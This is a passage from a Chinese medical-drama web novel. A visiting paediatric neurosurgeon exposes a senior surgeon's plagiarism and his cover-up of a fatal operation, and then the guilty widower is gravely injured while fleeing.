王医生:“……也可能是你提前看到了,除非你把那本杂志找出来,不然我没法相信。” 南栀:“……” 杂志都是她在儿研所看到的,儿研所收集了很多杂志,难不成她要回儿研所去找杂志? 王医生见南栀不说话,更加肯定这小医生是在给姚志勇泼脏水。 他不了解小医生,但了解姚志勇。 姚志勇这人,脏,仇人一抓一大把。 但仇人再多,也不能被泼脏水。 王医生说:“你既然很了解硬脑膜血肿,你来说说,遇到这种情况该怎么办,姚医生的法子能不能用?” 南栀脑子的东西那可就多了,他敢问南栀就敢答。 “硬脑膜血肿,不管是巨大垂体腺瘤、听神经瘤、脑膜瘤、胶质瘤,发现硬膜外血肿 的位置都在小脑幕上。可能在枕部、顶部、颞部、额部。据观察,应该是额部最多。一旦发生硬脑膜血肿,患者的致残率、死亡率都会提高,不及时治疗会对患者神经功能造成严重损害甚至死亡。” 几个护士看到他们围在一处,走了过来,好奇地打量正说话的南栀。 南栀没有穿白大褂,但说话的语气、神态都像一个医生。 而且是身经百战的老教授。 王医生面无表情地听着。 “说起病发原因,还可以从年龄来看,中青年患者,颅骨内板、硬脑膜之间粘连疏松容易分离。年轻患者脑组织含水量高。有脑血管病史的患者也容易出现这种情况。此外,也与手术体位有关,比如额颞顶区的脑组织没有颅骨托扶,可能塌陷。对了,术中如果脑脊液释放速度过快,导致颅内压骤然下降,还有术后过度使用脱水剂,都可能硬脑膜血肿,这些是做手术时应该避免的。” 对不同年龄发生硬脑膜血肿原因的剖析,是王医生没听过也没学过的,但听起来好像的确是这么回事。 王医生问:“照你这么说,姚医生的方法到底有没有用。” “当然有用,那是写在文章上的,是经过检验的,不过也可以通过其他方式避免嘛。比如术前纠正凝血功能异常,控制血压,适当使用皮激素提升应急能力。开颅过程中,沿骨窗四周对硬膜进行悬吊……” 阮乔记不过来了,她叮嘱道:“回头写出来给我。” 南栀:“好的。” 王医生:“……” 他费解道:“你到底是谁啊?” 南栀很客气,“我是临川市康宁医院的医生,来学习的。” 王医生:“?” 哪个野鸡医院? 倒是护士们先想起来了,“好像是引进MRI的那家医院,全省第一家。” “对哦,之前还说,好的设备给小医院,都没人会用,他们还派人过来学习了?” 南栀老老实实说道:“不是学使用设备的,你们应该也不会。” 王医生:“……” 看南栀一脸真诚的脸,好像不是在讽刺他们,但听着怎么这么不舒服? 柳半芹没那么多心思,她佩服道:“你对硬脑膜血肿研究真的很多诶,好厉害。” 南栀说:“不是我研究的,我都是从论文中看到的。” 只不过一个是后世的论文,一个是最近几年的论文。 而且在最近几年的论文中,医生提到开颅手术后并发硬脑膜血肿是常见的,在后世的论文中则是不常见。 说明手术方式的确会造成影响。 柳半芹好奇道:“你的病人并发过硬脑膜血肿?” 南栀摇头。 “咦,那你怎么这么了解。” 南栀说:“我看过论文呀。” 柳半芹:“……没有类似病例,就去研究论文吗?” “不是的,只是看过的论文比较多,前几个月我还特意翻了和神外有关的论文。” 柳半芹顿觉不妙,“翻了,然后呢??” 南栀乖巧道:“然后就记住了呀。” 柳半芹:“……” 南栀不会是想说,她翻了一遍论文就记住了吧? 那她反反复复背诵课本算什么?算她刻苦吗?! “康宁医院的医生这么厉害?”护士佩服道,“难怪要进好设备。” “可是以前没见过她诶。” “新秀吧。” 王医生还是不死心,“就算你了解硬脑膜血肿,也不能说明柳医生说的方法不是姚主任发明的。” 南栀道:“没有啦,我说这么多是想证明我记性好,不会记错论文出处的。” 王医生:“……” 显摆什么! “我相信南栀,”柳半芹率先叛变,“南栀一看就是好人,姚主任一看就不怎么样。” 王医生道:“首先,你说姚主任不怎么样,这事……我不反驳。” 护士们偷偷捂嘴笑。 “但是,窃取学术成果这件事可就大了,不能轻易定论。” 王医生说得也有道理,南栀道:“我去找这本杂志,找到邮给你。” 王医生:“你邮给我,我就去揭发姚主任!这个工作不要了,我也要去揭发!” 南栀:“……倒是没这么严重。” 姚志勇应该只是在医院内装一装。 只有阮乔还在奋笔疾书,并且没忘记叮嘱南栀,“刚才说的回去都写下来,放在杂志上。” 他们还没出炉的杂志含金量也太高了! 魏联站在最后,听得直摇头。 装,他们南医生也太装了。 那高仁指不定就是她。 南栀三人要在一院学习两天,这两天南栀没有手术安排。 柳半芹负责接待他们,王医生不死心,也一直跟着南栀,直到他们看完所有病人、柳半芹分享完所有疑难杂症。 一院老医生们的经验的确值得学习,南栀看到很多他们自制的手术工具,锅碗瓢盆都能上。 这一趟受益匪浅。 招待所在一院旁边,费用康宁医院会报销,而且连院长似乎没告诉他们标准。 南栀本来想去问问的,被阮乔拽走。 没提标准,那就是没标准,必须住好一点。 招待所的条件不错,房间内还有黑白小电视。 阮乔一回房间,就蹲在电视前调频道,频道和音量的调节键都在电视上。 南栀躺在床上回忆今天学到的东西。 两人正忙着,敲门声响起来,柳半芹拎着三个饭盒走进来。 柳半芹担心他们人生地不熟吃不上热乎饭。 “饭盒是我从家里拿的,都是干净的,我们医院食堂的饭菜还不错,大厨以前在国营饭店掌勺,院长就喜欢他的手艺,重金挖过来的。” 柳半芹的好意,南栀没拒绝,她想着回临川之后给柳半芹寄点儿临川的特产。 “你们不知道,我刚从医院过来的时候,他们还在吵架,”柳半芹大吐苦水,“姚主任和石主任又吵起来了,姚主任说石主任最近很少接手术,笑话他不上进,唉。” 好好的科室,每天吵得乌烟瘴气,柳半芹待在办公室都觉得压抑。 阮乔刚把魏联叫过来,正往嘴里塞饭菜,她问道:“石主任真的很久没动手术了?” “有两个月了吧,”柳半芹说,“以前石主任的手术还是挺多的,最近不太喜欢上台了,姚主任说他懒了,心思不在工作上。” 南栀越听越觉得奇怪。 一般人品不太行的外科主任,喜欢动些“利润”高的小手术,能从中获益。 而且他们还喜欢 藏着捏着,不给手底下的人安排手术。 石翰墨和姚志勇争了这么多年,忽然不做手术了,这不是把功劳让给姚志勇? 石翰墨的年纪,还远远没到退居二线的时候。 南栀问:“姚主任这人怎么样?有没有其他问题?” “其他的……”柳半芹回忆道,“我也不太好说,他和医药公司走得挺近的,之前有患者质疑姚主任给开了重复的检查。” “重复?” “恩……一天开了两遍CT,被发现了,院里通报批评。” 姚志勇和石翰墨,一个医德不行,另一个脾气差,如今看起来又不太想干活,柳半芹作为科室的中间派,是哪边都不讨好,日子过得十分辛苦。 南栀不太能接受,“只是批评了?如果被患者发现,这可能已经不是一次两次的了。” 这种圈钱行为在她看来十分恶劣。 “医院那复杂的人际关系,谁敢说什么?姚主任背后也有利益网,一点儿都不纯粹,点到为止呗。” 柳半芹有点儿伤感,她当初可是真的奔着救死扶伤的念头学医的。 医生在她眼里就是好人,到了医院才发现,这些人为了争一点儿利益,一样丑恶。 在一院的学习还得继续。 第二天,南栀三人踩着上班时间来到一院。 神外的情况他们了解得差不多了,南栀还想再去其他外科看看,听柳半芹说,一院的胸外科不错。 魏联则对肝胆比较感兴趣。 南栀和阮乔刚出神外的办公室,就看到一个穿着病号服的男人站在走廊里张望。 这附近都是医生办公室,患者显然不该来这里。 男人的目光锁定在神外办公室。 他露出笑容,快步走过去,敲响办公室的门,“你好,我找姚主任。” 开门的是王医生,他板着脸说道:“姚主任上台了,你是哪个床的病人?” 姚志勇去给硬脑膜血肿的患者开刀了。 南栀小声说:“他来找姚主任,好像中奖了。” “是啊,我还是第一次看到见医生这么高兴的,确诊良性了?” 胸外科的几位医生意外地都知道康宁医院。 一提起康宁,医生们便异口同声道:“不知天高地厚的康宁!” “MRI都有了,我们都在想你们能不能用得到。” “说实话,挺羡慕的,什么设备都支持,你们领导也太好说话了。” 南栀也觉得连争挺好说话。 或者说,韦宁雨和祁念珍给他画的大饼是真好吃。 参观完胸外科已经是两个小时后,南栀和阮乔往回走。 他们的车票是六点钟的,还得回招待所收拾东西。 南栀说:“这次收获很大。” 阮乔:“下次去其他医院学习。” 旁边的护士们:“……康宁医院的医生,说起话来怎么有二十年前的味儿?” 太正经,就差握手叫他们同志。 回神外办公室的路上,南栀又看到刚才的男人。 男人身边还有个老头,他正在和老头抱怨,“我说了,先不考虑娶媳妇的事情,阿芝才走多久?我现在就娶新媳妇,这不是让他们怀疑吗?” “安子啊,这事你得上心,先去见着,都是你妈找媒人给你挑的好姑娘。你和孔阿芝结婚,我们原本就不同意,结果呢?结婚三年她都没下蛋,她就是只不下蛋的母鸡,咱们老雷家是要传宗接代的,能不急吗!” 阮乔拽了拽南栀,低声道:“老婆刚走就要娶新老婆。” 南栀:“男人,正常操作。” 这事虽然不道德,但南栀也不能真去指着雷安骂一顿,两人装作没听见,继续往前走。 谁知雷安却扭捏起来,“爹,这事不用急,其实我……” 老头叼着烟袋不敢抽,只能瞪着儿子。 雷安嘿嘿笑道:“就是吧,我们厂子有个叫小香的,她已经怀了两个月,不过小香家里比较穷,我怕你们不同意,一直没说。” 南栀和阮乔同时揉耳朵。 脏了,这是脏了。 回到办公室,柳半芹见两人神色不对,多问了一句。 阮乔滔滔不绝地把刚才听到的恶心八卦讲了一遍。 柳半芹却道:“等等,你说安子?老雷家?是雷安吗?” “应该是。” “不可能啊!”柳半芹说,“我认识雷安,特别真诚的一个人,他老婆叫孔阿芝,两人感情可好了。孔阿芝生病之后,他不离不弃,这可是我们神外住院部的一段佳话。” 南栀问:“孔阿芝是什么病,什么时候去世的?” “胶质瘤,手术过程中大出血,没能坚持下台就走了。这是一周前的事情。” 阮乔:“……他说的小香已经怀孕两个月了。” 这八卦竟然还是带血的。 柳半芹气愤道:“出轨了还装好丈夫?我们都被他骗了!孔阿芝去世后,他茶不思饭不想的,直接办的住院手续调理。” : “也可能是他真对孔阿芝还有感情?一个男人同时喜欢上两个人,不奇怪,他同时喜欢一百个我都不觉得奇怪。” 柳半芹道:“我得去他的病房看看,如果是真的,阿芝也太惨了!” 南栀和阮乔当然得跟着去。 据柳半芹所说,孔阿芝去世后,雷安连续几日没吃任何东西,后因营养不良住院。 不论谁劝,他都不肯张嘴,还试图趁医护人员不注意自尽。 但南栀还记得雷安去神外办公室找姚志勇时的笑容,那笑容分明是真心的,一点儿看不出来刚刚死了老婆。 南栀问:“手术是姚志勇做的?” “对,是姚主任。” “为什么会大出血?” “这我就不太清楚了,我不是姚主任的团队的,我倒是想打听,但没人肯和我说啊。唉,想做个中立的人真难。” 南栀问:“还有孔阿芝的病历或者检查报告吗?” “我没看过,只记得她的肿瘤不是特别大,位置也还行,手术失败时我还挺惊讶的。不过这事不好说,医院的设备不行,手术过程中还有可能遇到其他情况。” 医院派人来调查过手术过程,最终的结论是没有问题。 雷安也表示理解,没有追究医院和姚志勇的责任,是皆大欢喜的结局。 南栀一想到雷安的笑容,就觉得这结局看起来不太真实。 起码雷安不像是因为妻子离世而茶不思饭不想的状态。 柳半芹带她们来到雷安的病房。 雷安已经回来了,病房里人挺多,没有刚才他们看到的老汉,但是还有一对老夫妻。 除了老夫妻,还有一个年轻男人,正在安抚两人。 “我姐肯定不希望看见你们病倒,你们别太难过了,日子还得过啊。” 是孔阿芝的弟弟孔武。 老夫妻是孔阿芝的父母。 老两口白发人送黑发人,现在还反过来安慰雷安,“安子,你的心意我们都知道,我们能挺过去,你也行,别伤了身体。” 雷安躺在病床上,虚弱地闭着眼,似乎不愿与人交谈。 与刚才的状态完全不同。 阮乔恨得咬牙切齿,“狗男人,还挺能装。” 老两口接着说道:“阿芝死了,医院还算不错,没推卸责任,赔了不少钱。这钱你就拿着,好好过日子,别薄待自己。” 雷安忍不住睁开眼。 孔阿芝去世后,医院赔了一笔钱,这笔钱足够他生活十几年。 他咨询过了,这钱是他的,也是孔阿芝父母的,他们能分到一份。 虽然他现在的存款很可观,但谁会嫌钱少? 他就知道这两人会把钱留下。 雷安面露悲伤之色,“我不要钱,这是阿芝用命换来的,我不要钱,只要阿芝。” 这下柳半芹知道雷安为何要装得情深义重。 合着根本没什么深情,都是为了钱! 柳半芹快步走进去,“叔叔、阿姨,你们得为自己的将来考虑,阿芝可不想看见你们过贫苦日子。这钱是医院给的,是赔偿给阿芝的,该拿的钱得拿。” 雷安脸色骤变,“你怎么……” 孔武看向雷安。 雷安连忙装虚弱,“是啊,这钱我不要,爸妈你们放心,以后你们就是我亲爸亲妈,我得替阿芝孝敬你们。” 孔父说道:“我们能照顾好自己,不能连累你。” 孔母也开始抹眼泪,“唉,说再多,阿芝都回不来了,我可怜的女儿,好不容易过上几年安稳日子,怎么就……我们不图钱,这钱就都留给安子,安子照顾阿芝辛苦了。” 阮乔本不想往老两口伤口上撒盐,可她实在看不得雷安装模作样地骗钱。 阮乔说:“照顾阿芝?没照顾小香吗?” 雷安僵住。 孔武越看越觉得奇怪。 以前他看姐姐和姐夫相处就觉得奇怪,表面上姐夫似乎对姐姐言听计从,但过年时姐夫多喝了几杯,姐姐想劝,姐夫的脸色就变了,姐姐没再说什么。 真正的女方强势的家庭,应该不是这样相处的吧? 孔武问:“小香是谁?” 南栀担心阮乔会被雷安记恨,抢着说道:“我刚刚听到他和他父亲的对话,他父亲催他快点儿去相亲,让他传宗接代,他说他厂子里的小香已经怀孕两个月了。” 孔阿芝才去世一周,小香怀孕两个月。 二人是在孔阿芝去世前就勾搭上了。 “你认错人了!”雷安余光看着孔武的脸色,主动拉住孔母的手,“妈,我和阿芝是怎么过来的,您都看到了,我每天晚上都要赶回家给阿芝做饭,天天陪着阿芝,哪有时间乱搞?” 他用力握了下孔母的手,似乎想让她认同自己。 孔母犹豫道:“安子和阿芝确实天天在一起,阿芝也没和我说过安子在外面有人。” “听到了吗?!” 阮乔被雷安的嘴脸恶心透了。 南栀给出解决问题的方案,“去厂子里问问就好了,去找小香。如果查不明白,就先把那笔赔偿金留下,等以后孩子生了,和雷安做亲子鉴定,如果不是他的孩子,才能把钱给他。” “亲子鉴定是什么?”雷安慌张道,“我从来都没听说过,滴血验亲?你们那不带着文盲读书认字吗,老师说了,滴血验亲都是假的。” 阮乔道:“你只关心方法是否有用吗?我还以为你会觉得很羞辱,没想到更在意亲子鉴定啊。” 南栀则温柔安慰,“没事的没事的,反正你刚刚也说了,你不是为了钱,这钱给阿芝的父母也是好的,他们年龄大了,需要钱养 老嘛。” 雷安:“……” 他不为了钱,还能是为啥! 孔武想了半天,说道:“爸,妈,我看他们说得挺靠谱,姐夫说了,他不是为了钱,那就先把钱放在你们这,你们也不会乱花。姐夫如果没事,该给就给。” 雷安:“……” 亲子鉴定真有用吗?真能查出是不是他的孩子? 儿子开口,孔父孔母总算点头,“这事确实得说清楚,如果你和小香的事是真的,我们不能让阿芝伤心。” 南栀又道:“阿芝的病历你们还有吗?我想看看她的检查报告。” 孔母道:“家里还有几张纸,没舍得扔,也不知道全不全。” 雷安突然紧张起来,“你看报告干啥?你到底谁啊?!” 阮乔把想往南栀身上扑的雷安拦住,“干什么?想打架?这里是医院!” 南栀拧了下眉。 雷安是在阻止她? 为什么? 南栀问:“孔阿芝的死因查清楚了吗?确定手术过程没有问题?” “这些我们也不懂,”孔父说,“是安子去交涉的,唉,阿芝命不好,人家说是恶性肿瘤,手术过程中大出血死了。” 孔武反应极快,立刻说道:“那还得再查查。” 以前他们以为雷安和孔阿芝感情好,当然都相信雷安的话。 但现在他突然整出来一个怀孕两个月的小香,那就很有问题了。 雷安比刚才更慌,“人家副主任都说了,是阿芝的肿瘤位置不好,没办法,不能避免,你们又不是医生,还要再查?” 南栀低头看自己的衣服,哦,没穿白大褂。 南栀自我介绍道:“我是神经外科的医生,是来一院学习的,孔阿芝手术前起码拍了头颅CT,给我看看就可以。” 柳半芹紧跟着说道:“我是一院的医生,你们完全可以相信我,手术是在一院做的,如果不是真的有疑问,我怎么会赞成调查?这对一院不利。” 柳半芹这番话很有说服力。 不过南栀倒是有点儿后悔和柳半芹一起过来。 她和阮乔不是一院的医生,不怕被连累,但柳半芹日后还是留下来工作的。 不管此事是不是一院的过失,领导都不会希望看到一院再起风波。 这笔账只会记在柳半芹头上。 南栀看向柳半芹:“其实……我们医院的待遇也行。” 柳半芹:“……” 冒失了!! 事情已无法挽回,柳半芹索性破罐子破摔,“反正得查查看,我们……” 身后传来敲门声。 柳半芹回过头,姚志勇还穿着无菌服,一脸阴郁地站在门旁。 他突然出现,连衣服都没换,一张大脸挂在门旁,柳半芹吓得跳到南栀身后,“小栀啊,你们医院还招人不?我有希望吗?” 姚志勇走进来。 孔父对副主任很客气,“姚主任,你怎么过来了?” 姚志勇的气还没喘匀。 手术难度如果不高,大家就会闲聊,姚志勇刚才做的是硬脑膜血肿的手术,虽然是并发症,但是手术过程比较顺利。 他听刚进来的护士说起南栀。 康宁医院派过来学习的,奔着雷安的病房去了,姚志勇一听就觉得不对。 他急匆匆做完手术,也没按照规定换衣服,直接赶过来。 南栀感动道:“姚主任真关心雷安呀,还知道他在哪个病房呢。” 姚志勇:“……” 他一大把年纪了,为什么还要被年轻人阴阳怪气!! “闭嘴!”姚志勇的目光像利刃,他转向孔父孔母时,才换上自责的嘴脸,“叔叔阿姨,阿芝的手术怪我,是我学艺不精,你们想知道什么,我一定配合调查。” 他这么一说,孔父孔母反倒不知道说什么好。 还是孔武坚持道:“那就再查查吧,我姐不能死得不明不白。” 姚志勇嘴角抽动,先瞪了一眼南栀,又瞪向雷安。 雷安心虚地低下头,佯装看不见。 南栀说:“如果能做尸检最好,不过你们应该已经火化了。” 现在市里在推行火化,不许土葬。 姚志勇倒吸一口冷气。 这死女人是什么话都敢说出口啊。 姚志勇温柔道:“尸检的确是最明朗的,不过要在尸体上动刀子,像是内脏啊,要全部取出来,她做的是开颅手术,尸检还要把脑子锯开检查。唉,人已经走了,还要再受罪……” 年纪大的人还是讲究身体发肤受之父母的,很多人无法接受在亲人的尸体上动刀子。 姚志勇提前渲染气氛。 孔阿芝已经去世七日,应该是出殡了,不用太担心,但还是得让家属抵触尸检。 雷安最开始是心虚地摸头发,现在已经从头发摸到脖子,下一步就要摸脚踝了。 姚志勇看了他好几次,他都假装没注意到,就差直接哼上几句歌。 姚志勇:“……” 没用的东西! 姚志勇的用意,南栀几人都能看得出来。 阮乔骂道:“亏你还是医生,竟然能说出这种话,难道你开刀高贵,法医就低下?新社会 还有你这种医生,呸!” 姚志勇板着脸。 南栀接着说道:“开颅手术都做了,还怕再做一遍?法医检查过尸体后会复原,还会整理遗容,尸检是为了查出真相,如果死者有冤情,我想死者也会希望真相大白。” 姚志勇后槽牙都快磨尖了。 如果不是还有其他人,他都想直接去把南栀咬死。 孔父和孔母还是拿不定主意。 孔武却突然高声道:“可以尸检,尸体还没火化,放在老家了。” 第103章 第103章难受的手术 孔武这一嗓子喊完,病房瞬间安静。 每个人脸上的表情都极为好看。 姚志勇的自责表情僵住,有些滑稽。 雷安一直往后面躲,他早就知道尸体还没火化,南栀说的尸检肯定能做。 说得什么 现在他只想藏起来,免得被孔武揍一顿。 南栀惊喜道:“那太好了,如果你们愿意做尸检,就能知道死亡原因,再向医院申请调查手术过程就可以了。” 雷安转身就跑。 孔武眼疾手快把人扣住,他怒吼道:“你到底对我姐做了什么?!” 眼瞅着这一巴掌就要抽下来,雷安哭丧着脸说道:“跟我可没关系,都是他!” 雷安指着姚志勇说:“是他手术有问题,他找到我,让我别声张,我……我是勉为其难答应的。” 雷安这话和地雷的效果没差别。 原本南栀只是猜测,现在算是坐实。 他们的争吵声早把护士引来,护士看到柳半芹才没阻止,都在门口看热闹。 这热闹越来越大,姚主任的手术竟然出问题了?! 雷安像倒豆子,把事情全部说了出来,“我也不知道是怎么搞的,好像是手术时伤到了脑组织,还有大出血,活不了了。他说只要我不声张,就给我一笔钱,我……” “原来你是为了钱?!”孔武崩溃道,“我姐一条命,还不值那些钱吗?!” 雷安反驳道:“别说是她,就算是我,一辈子也赚不来那么多钱!” “你!” 孔武踹向雷安的胸口,雷安下意识闭上眼睛。 南栀:“……这是心脏的位置,不太好。” 建议换个地方踹。 雷安原本已经做好准备,被南栀晃了这么一下,更害怕了。 “你到底是不是医生??!” 哪有帮着打人的医生! 孔武撇下雷安,走向姚志勇,“是你把我姐害死的?!” 姚志勇心脏狂跳,他表情僵硬,已经挤不出笑容。诡计多端的眼睛配上厚嘴唇,十分难看。 “这是……这是误会,雷安是什么人,你们能相信他的话?” 南栀好心提醒道:“只要看雷安有没有那笔钱就可以了。” 姚志勇:“……” 她能不能不要乱说话! 南栀又看向孔武,“这位小伙子,得报警,这是医疗事故,雷安也不能放过。” 雷安:“……” 他算是看明白了,都是南栀在挑事! 医院附近就有派出所,五分钟就能走过来。 雷安心神不安地站在病床旁,虽是冬天,但满身的汗渍。 柳半芹已经通知医院领导,姚志勇还在为自己辩解,“手术的过程很顺利,是病人的条件不好,我的确给过雷安钱,但我是心里过意不去,属于、属于人道主义赔偿。” 南栀已经拿到孔阿芝的CT报告,“哦呦,真的有肿瘤,好歹没把这个看错。” 姚志勇:“……” 阮乔凑在旁边一起看,“肿瘤不算太大啊,才四厘米,边界还蛮清晰的嘛,良性的可能性很大。位置……我看着位置还不错,应该没和神经缠在一起,这台手术很难吗?” 南栀道:“不难,我刚上手时就可以做。” 院领导:“……” 面子都要丢尽了。 阮乔又问:“我能不能做?” “再练几次,可以试试。” “我有些紧张诶。” “不用怕,”南栀说,“姚副主任都是副主任了,不还是出错了吗?正常。” 院领导:“……” 医院不多的面子雪上加霜。 院领导打量着南栀,“你是?” 柳半芹介绍道:“这位是康宁医院过来学习的南医生。” 南栀客气地打招呼。 “你也是神外的?” 南栀道:“我是小儿神外的。” 姚志勇:“……” “你一个儿科医生,管我们神外干什么?!你还跟我吹牛说什么都能做?!” 他这会儿才想起来,开会时南栀分享的病历,患者就是儿童。 说什么小儿神外,估计只是普通的儿科医生。 院领导却觉得这个科室名有点儿耳熟,好像在哪里见过。 南栀说:“不算吹牛啊,反正这类事故我还没有过。” 姚志勇:“!!!” 他要磨牙!全磨尖了!! 所有人的注意力都在南栀身上时,雷安抓住机会,出其不意地推了旁边的孔武一把,然后向外跑去。 事发突然,门口站着的护士都没来得及拦住。 就连院领导都反应了一会儿,才说道:“还看着,去追啊!” 这人明摆着是要跑路。 孔武咬牙切齿地追上去。 警方还在路上,雷安估计是想跑路。 他不可能直接跑,姚志勇给他的那笔钱还没交出来,他肯定要带着钱跑。 南栀匆匆走出去,想给警察提个醒。 孔武则追着雷安冲出医院。 雷安一边痛骂孔武是武夫,一边寻找逃生路线。 医院门口人多车也多,路被堵得水泄不通。 他横冲直撞,已经撞了不少人,其中一个还是七十多岁的老人,气得家属想骂街。 雷安可不管这么多,他看到前面就能挤过去的地方,就拼命地往前挤,终于逃到马路上。 孔武紧追不舍。 雷安又骂了一句,继续往马路上挤。 孔武知道,如果雷安跑了,恐怕会直接离开省会,不会再回来。 他必须把雷安抓回来,这个狗男人不仅出轨,还用他姐的命去换钱,他绝对不能放过他。 就在孔武也尝试着挤到马路上时,他忽然听到“砰”的一声。 有几人同时回头看,接着发出“啊”的尖叫。 不知为何,孔武下意识停下来。 马路对面,路人已经围成一个圈。 他们紧张地议论着,“这得叫医生过来吧?” “都这样了,还能活吗?” “你们谁看看他,我、我可不敢动他。” 孔武茫然地走过去。 雷安就倒在人群中,旁边是一辆自行车,他的身体还在蠕动,嘴里发出痛苦的呻吟。 自行车的主人手脚并用,慌张地往外爬。 不多时,他人就跑没影了。 孔武往前走去。 雷安还在地上爬。 他似乎知道孔武在身后,调转方向,向孔武爬去,“阿武啊,救我,我不想死,你救救我……” 孔武错愕地看着他。 在雷安右眼,自行车的车闸完整地插了进去。 * 雷安被送回一院,神志尚清,被拉去做头颅CT。 他在逃跑过程中与骑自行车的人相撞,好巧不巧的,刹车被撞坏了,还杵进他眼睛里。 这一回,医院领导来得更多了。 院长沉默良久,问:“你们最近做亏心事了?” 不然一院怎么会遭这种报应? 大家看向姚志勇。 姚志勇:“……是自行车质量太差。” “别说这些没用的,”院长看向几人,“这是神外的手术,几位大哥,谁去做手术?” 石翰墨垂眸不语。 院长问姚志勇,“去戴罪立功?” 姚志勇道:“这手术……我可不敢做。” 刹车有多长?直接捅进眼睛里,这能活下来? 没有医生愿意做必死的手术。 “雷安活该,他是怎么对孔阿芝的?在外面乱搞,还收姚主任的钱,我看他是遭报应了。” 院长问:“你的意思是,我们对外宣布雷遭报应,无药可治?” “……” 院长看向神外主任,“谁来?” 神外主任道:“我不是推脱,我确实不擅长脑外伤,往常脑外伤都是姚主任和石主任在做。” 院长这才想起石翰墨。 石翰墨脾气差一些,但仍然能在神外屹立不倒的原因之一就是,他的手术做得的确很好,挑不出毛病。 而且他也愿意做手术,一天24个小时,他只留四个小时的睡觉时间。 此刻石翰墨却也摇头。 院长失望道:“你也怕担责任?” 姚志勇的气总算顺了些,他讥讽道:“理解,石主任也得为自己考虑。” 石翰墨平静道:“你一个快被警察带走的,就不用说风凉话了吧?还是想想怎么给医院消除负面影响。” 姚志勇:“……” 气又不顺了。 院长苦口婆心道:“人是在医院门口出的事,结果医院没有医生能做手术,这像话吗?难道还要把人送到其他医院?咱一院的脸真不要了?更何况省内哪里还有比一院更好的医院?!” 柳半芹忽然想到南栀。 这是内部会议,南栀和阮乔没法进来。 南栀任职的康宁医院设备先进,或许能做的手术更多? 柳半芹总觉得南栀有莫名其妙的自信,而且她还相信。 不过柳半芹不会有任何提议。 她已经给自己引火烧身,还能再把火烧到别人身上? 这种手术,一做一个不吱声。 院长叹口气,把希望放在石翰墨身上,“老石,咱俩认识多久了?你给我个准话,为什么做不了手术,是担心病人在手术过程中死亡?你应该知道,手术都有风险,更何况他情况严峻……这样吧,如果他手术过程出意外,所有责任我来担,在座的都是见证,可以吗?” 院长这话说得已经很诚恳,石翰墨却只是苦笑,“不是我不想做,我是做不了。” “为什么做不了?” 石翰墨举起手,“您看看。” 所有人都看过来。 乍一看好像没什么特别的,但如果看久了,看得仔细些就会发现,石翰墨的手在发抖。 石翰墨说:“我这两个月基本上没排手术,我确诊帕金森了。” 外科医生手不能抖。 他年纪轻轻得了帕金森,外科医生的前途已经没了。 姚志勇乐了,“哎哟,你还有今天?” 以后科室就没人和他争了哦。 柳半芹小声提醒道:“您没以后了,您得先去警察局。” 姚志勇:“……” 悲伤来得好快。 CT室,南栀在第一时间看到头颅CT报告。 眼科的医生也在,正在讨论能否保住眼球的问题。 实际上雷安的右眼球已经外露。 “右侧眼眶至右侧颅后窝异物,右额颞脑挫裂,蛛网膜下腔出血 ,右侧神经损伤,眼球贯通伤……“阮乔说,“这真是遭报应了。” 眼科医生道:“这报应太狠了点儿,现在他是左侧直接光反射迟钝,间接光反射小时,右侧都消失,调节反射消失。” 南栀说:“车闸是金属质地,随时可能出现脑出血、脑疝、颅内感染、脑水肿,雷安随时会死。” 阮乔道:“得尽快做手术取出来?” “取出的过程可能伤到重要血管,颅内大出血也可能造成死亡。” “那也得尽快呀,神外怎么还没动静?” 阮乔话音刚落,柳半芹走了过来,“别提了,没人愿意做手术,雷安的身份不一般,孔阿芝刚因为姚志勇的过失死在医院,雷安如果再死了,负面影响太大。” “做医生哪能只考虑负面影响,”阮乔不赞同,“医院就不该迁就那些无理取闹的家属。” “手术难度也高啊,两个副主任不能动手术,主任说他不擅长脑外伤,几个主治医生比如我,说实话,我也不敢。” 南栀听了一会儿,挺莫名其妙的,“他们害怕哪部分?” “眼睛呗,车闸,看着真难受,好像我眼球也爆了,你敢拿出来吗?” 南栀沉默了。 柳半芹:“看,都会害怕的。” 南栀问:“这不是眼科医生的工作吗?” 柳半芹:“……啊?” “估计要给雷安行右额颞开颅颅眶沟通异物清除加去骨瓣减压术,开颅方面肯定是神外医生的工作,但取出车闸这一步,是眼科医生的工作。” 柳半芹:“……” 去了这一步,其他步骤大家应该都能胜任。 不远处的眼科主任感慨道:“瞧瞧,锅在我们这边,人家还抢着接呢。” 柳半芹:“……等等啊,我去和院长说一声!” 眼科主任走向南栀,“你是神外的医生?” “我是小儿神外的。” “没什么区别,这台手术你怎么看,希望大吗?” 南栀道:“虽然头颅CT看得已经挺清楚了,但还是得开进去看看。取出异物过程是否能顺利止血是个问题。” 眼科主任道:“依你看,在场的神外医生谁做这台手术最合适。” 南栀没有犹豫,“我最合适。” 其实神外医生们担心的,不只是柳半芹所说的取出异物的部分,这台手术难度很高。 在与患者有纠纷的前提下,谁做都不好。 眼科相对好一些,之前的纠纷不是在眼科。 眼科主任哈哈大笑,“我倒是挺喜欢你的自信,你做过脑外伤手术吗?” 南栀点头。 舒教授也挺擅长这类手术的。 “可惜了,你没什么名气,如果你是个出名的外科医生,我肯定找你合作。你比那些胆小怕事的人强多了。” 不是眼科主任瞧不起南栀,而是选择没有证明过实力的医生,对患者太不负责任。 孔武一直在旁边听着,咬牙切齿道:“我就不能选技术最差的医生给他做手术吗?!” 眼科主任:“……你这要求挺别致。” 几人还在等神外的决定,估摸着最后神外主任会上场。 等结果时,有人朝人群走来,“谁说南栀没名气的?” 那人搂住南栀的肩膀,“我们南医生可是在儿研所进修过,舒映阶教授的最后一个学生,亲传的。” 南栀回头,韦初雪朝她笑笑。 阮乔惊讶道:“你没回临川?” 昨天韦初雪演讲后消失得无影无踪,阮乔还以为她不稀得搭理他们了。 韦初雪说:“我看起来像是薄情寡义的人?怎么也会打声招呼。” 阮乔点头,“你不是像,你就是。” 韦初雪:“……” 韦初雪郁闷道:“我有这么差劲吗?” 阮乔:“不是差劲,是高傲。” 南栀默默点头。 韦初雪看向南栀,南栀赶紧摇头,“没有,怎么会?” 阮乔不满道:“栀栀你变坏了,会说谎了。” 南栀:“……她是病人嘛,不要刺激到她。” 韦初雪:“……” 谢谢,已经被刺激到了。 韦初雪说:“我现在已经重获新生,和以前不一样了。而且我马上就要回医院工作,以后我们会经常见面。” 阮乔好奇道:“还跟着汤院长混?” 韦初雪笑笑,“我高傲,不告诉你。” 阮乔:“……” 这人还挺记仇。 “祖宗们,”眼科主任说,“咱能不能说回手术?你是舒教授的学生,专注小儿神外的舒教授?” 南栀点头。 